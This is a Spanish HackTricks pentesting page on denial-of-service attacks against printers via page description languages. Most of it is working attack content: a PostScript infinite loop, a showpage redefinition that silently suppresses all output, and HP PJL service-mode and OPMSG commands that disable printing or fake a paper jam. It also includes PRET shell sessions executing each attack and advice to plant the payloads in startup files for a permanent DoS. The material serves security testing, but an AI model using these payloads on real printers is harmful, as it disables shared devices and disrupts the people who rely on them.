hacktricks/network-services-pentesting/pentesting-printers/document-processing.md

5.1 KiB
Raw Blame History

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Lenguajes de descripción de páginas que permiten bucles infinitos o cálculos que requieren mucho tiempo de computación. Incluso lenguajes minimalistas como PCL pueden usarse para subir macros permanentes o fuentes hasta que se consuma la memoria disponible.

PostScript

Bucles infinitos

%!
{} loop

Usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Redefinir showpage

Al configurar showpage que se utiliza en cada documento para imprimir realmente la página para que no haga nada en absoluto, los trabajos PostScript se procesan pero no imprimirán nada.

true 0 startjob
/showpage {} def

Usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
Ambos códigos de ataque también pueden escribirse en archivos Sys/Start, startup.ps o similares para causar un **DoS permanente** en dispositivos con disco grabable.

# PJL

## PJL jobmedia

Comandos propietarios de PJL pueden usarse para configurar dispositivos HP antiguos como la serie LaserJet 4k en modo de servicio y deshabilitar completamente toda la funcionalidad de impresión como se muestra a continuación:
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

Modo fuera de línea

Además, el estándar PJL define el comando OPMSG que 'indica a la impresora que muestre un mensaje especificado y se desconecte' \cite{hp1997pjl}. Esto se puede utilizar para simular un atasco de papel como se muestra a continuación:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Aprende más sobre estos ataques en http://hacking-printers.net/wiki/index.php/Document_processing

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: